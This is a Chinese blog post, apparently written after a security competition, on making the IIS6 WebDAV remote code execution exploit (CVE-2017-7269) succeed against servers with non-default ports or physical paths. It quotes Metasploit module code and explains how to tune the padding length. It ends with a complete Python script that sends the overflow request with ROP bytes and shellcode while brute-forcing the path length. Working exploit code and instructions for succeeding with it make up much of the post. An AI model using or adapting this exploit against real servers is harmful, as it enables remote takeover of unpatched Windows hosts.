IIS6_WebDAV远程代码执行漏洞(CVE-2017-7269)的正确打开方式

  上周参加巅峰极客决赛的时候,靶场中很多中小型的网站都是用的IIS6的WEB容器,并且开着WEBDAV,但是直接用msf的iis_webdav_scstoragepathfromurl却无法利用成功,因此总结一下,以免下次再遇到这样尴尬的场面。

失败原因

  其实早在2017.03.31大佬zcgonvh已经给出了4种失败的原因了,当时没太在意,这次复现的过程中深刻的体会到了这些失败原因,并将大佬的4种失败原因分解成5种失败原因。

端口和域名绑定问题

  实际环境中,iis绑定的域名和端口可能不是默认的,比如:

  • 默认绑定

  • 非默认绑定

  If头信息中的两个url是要求和站点绑定相匹配的,否则只能收到一个502。这里所说的相匹配指的是if头中url的port必须与站点绑定的端口相匹配,而if头中的域名只需要和host头保持一致就好。

  • 失败情况 :POC中if头里面的域名及端口与绑定不一致时。

  上图是端口不匹配的情况,下图是域名不匹配的情况

  • 成功情况 :POC中if头里面的域名及端口与绑定一致时。(端口与实际端口一致,host的值与if中的域名一致)

物理路径

  根据CVE-2017-7269 IIS6.0远程代码执行漏洞分析及Exploit中提到:POC中If头中的第一个URL会被解析成物理路径,默认情况下是C:\Inetpub\wwwroot\,在覆盖缓冲区的时候填充的字符长度要根据物理路径的长度来决定,且物理路径长度 + 填充字符的个数 = 114。POC中的是按照默认的物理路径(19位)来计算填充字符的长度的,当物理路径的长度不为19位的时候就会收到一个500。(这里物理路径长度计算方法要加上最后的\

物理路径长度<19位

  • 失败情况 :物理路径长度小于19位。

  • 成功情况 :物理路径长度小于19位,且增加POC中padding的长度。

  物理路径为c:\asp\其长度为7,因此POC需要增加12个a。

物理路径长度>19位

  直接引用zcgonvh大佬的原话:“ROP和stackpivot前面的padding实际上为UTF8编码的字符,每三个字节解码后变为两个字节的UTF16字符,在保证Exp不出错的情况下,有0x58个字符是没用的。所以可以将前0x108个字节删除,换成0x58个a或b。”

  所以大概的POC是这样的:

  物理路径为C:\Inetpub\wwwroot\test\长度为24位,因此需要padding 90位,其中红框中ab的个数为90。

爆破物理路径长度

  这个漏洞利用的成功与否,也取决于是否知道物理路径的长度。物理路径的长度可以根据上面已知的信息,来进行爆破:

  • 物理路径长度 + 填充字符的个数 = 114

  • 长度不匹配时返回500。

  因为盘符占了3位字符(c:\),所以要爆破物理路径长度,可以将padding增加到111位,并依次减少,如果长度不匹配就返回500。判断长度的工具附在最后面。

多次执行错误shellcode

  多次执行错误的shellcode会覆盖很多不该覆盖的代码,从而导致正确的shellcode也执行也返回500,提示信息为:参数不正确,也可能什么都不返回。该问题在巅峰极客比赛中也遇到过,我们控制的靶机什么都没动一会儿就全站500了。

EXP执行成功后

  当exp执行成功一段时间之后(大概十分钟到二十分钟左右,其间无论有无访问,被windbg挂起的时间不算),再对这个站点执行exp永远不会成功,同时返回400。

  遇到该问题的解决方案:

  • 1.找旁站,因为每个池都是独立的w3wp进程,换一个可能在其他池的进行尝试

  • 2.等待w3wp重启

Win03 x64

  Win03 x64并不多见,此类型的不能直接用网上的POC进行攻击。

总结

MSF-Exploit

CVE-2017-7269

  该exploit是我们比赛时albertchang找到的一个可以成功利用的exploit(后面我会提及那个不能用的exploit)。

  该exploit用法很简单,只需要填写域名和端口即可。

  但是其对非默认端口或非默认路径的站点却束手无策。

  看下此exploit的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def exploit
connect

buf1 = "If: <http://localhost/aaaaaaa"
buf1 << padding1
buf1 << ">"
buf1 << " (Not <locktoken:write1>) <http://localhost/bbbbbbb"
buf1 << padding2

buf1 << payload.encoded

sock.put("PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n#{buf1}>\r\n\r\n")

handler
disconnect
end

  可以看出这个exploit只是对POC进行了修改,将POC中的shellcode替换成了MSF的shellcode,因此在非默认绑定或者非默认物理路径的情况下利用不成功。

iis_webdav_scstoragepathfromurl完善前

  iis_webdav_scstoragepathfromurl是由zcgonvh大佬编写且国外的大佬完善过的,而我们这一小节写的是未经过国外大佬完善的exploit,也就是zcgonvh大佬原版的EXP。

  对于默认物理路径长度以及默认绑定情况:

  可以看到该exploit相比于第一个,增加了物理路径的长度和HttpHost两个字段,其中对exploit成功与否造成影响的是物理路径的长度(因为根据上面的测试,我们知道if中的域名只要与host的值一致即可)。

  对于非默认物理路径长度以及非默认绑定情况也可以利用成功,只需要修改物理路径的长度和端口即可,如下图。

  从代码看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def exploit
connect

http_host=datastore['HttpHost'] + ":" + datastore['RPORT'].to_s

buf1 = "If: <http://#{http_host}/"
buf1 << "a"*(114-datastore['PhysicalPathLength'])
buf1 << padding1
buf1 << ">"
buf1 << " (Not <locktoken:write1>) <http://#{http_host}/"
buf1 << "b"*(114-datastore['PhysicalPathLength'])
buf1 << padding2

buf1 << payload.encoded

sock.put("PROPFIND / HTTP/1.1\r\nHost: #{http_host}\r\nContent-Length: 0\r\n#{buf1}>\r\n\r\n")

handler
disconnect
end

  可以看出来zcgonvh大佬在编写Exploit的时候,把关于绑定和物理路径长度的问题都解决了,唯一不智能的一点就是需要自己输入物理路径的长度。

iis_webdav_scstoragepathfromurl

  这个exploit是MSF自带的一个EXP,该EXP由zcgonvh大佬编写且国外的大佬完善过的,但是在比赛中以及这次写文章复现过程中都没有成功过一次。翻看了一下代码:

1
2
3
4
5
6
7
8
9
http_host = "#{server_scheme}://#{server_name}:#{server_port}"
vprint_status("Using http_host #{http_host}")

min_path_len.upto(max_path_len) do |path_len|
vprint_status("Trying path length of #{path_len}...")

begin
buf1 = "<#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)

  该exploit相对于zcgonvh编写的Exploit来说,添加了自动爆破物理路径长度的功能,其爆破开始的最小值和最大值是可以设置的。

总结

物理路径长度爆破工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#coding:utf-8
#-----------
# 物理路径长度大于19位的POC
#-----------
import socket

#-------------#
# 自定义区 #
#-------------#

host = '192.168.27.136' # 域名
port = 81 # 端口

#-------------#
# 自定义区结束#
#-------------#

def exploit(host,port,pathLen):


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))
host = "localhost123"
pay='PROPFIND / HTTP/1.1\r\nHost: {}\r\nContent-Length: 0\r\n'.format(host)
padding = 'a'*(114-pathLen)
domain = "http://"+host+":"+str(port)+"/"
pay+='If: <'
pay+=domain
pay+=padding
pay+='\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <'
pay+=domain
pay+=padding
pay+='\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397O00WRJKPSSI7KQR72JPXKOXPP3GP0PPP36VXLKM1VZM0LCKNSOKON2KPOSRORN3D35RND4NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441URNT4NMPL2ERNS7SDBHOJMPNQ03LMLJPXNM1J13OWNMOS2H352CBKOJO0PCQFOUNMOB00NQNWNMP7OBP6OILMKZLMKZ130V15NMP2P0NQP7NMNWOBNV09KPM0A'
pay+=shellcode
pay+='>\r\n\r\n'
#print pay
sock.send(pay)
data = sock.recv(80960)
#print data
return data
sock.close

def main():
for i in range(3,115):
#print(i)
data = exploit(host,port,i)
#print data
if "CVE-2017-7269" in data:
print("[+]Length is "+ str(i))
break
main()
#exploit(host,port,pathLen)

批量检测工具

  • 爆破物理路径长度并检测漏洞

  • 指定物理路径长度检测漏洞

  下载地址:IIS6_WebDAV_Scanner

参考

CVE-2017-7269的几个技巧及BUG修正

CVE-2017-7269回显POC

CVE-2017-7269 IIS6.0远程代码执行漏洞分析及Exploit

CVE-2017-7269 IIS6.0远程代码执行漏洞分析及Exploit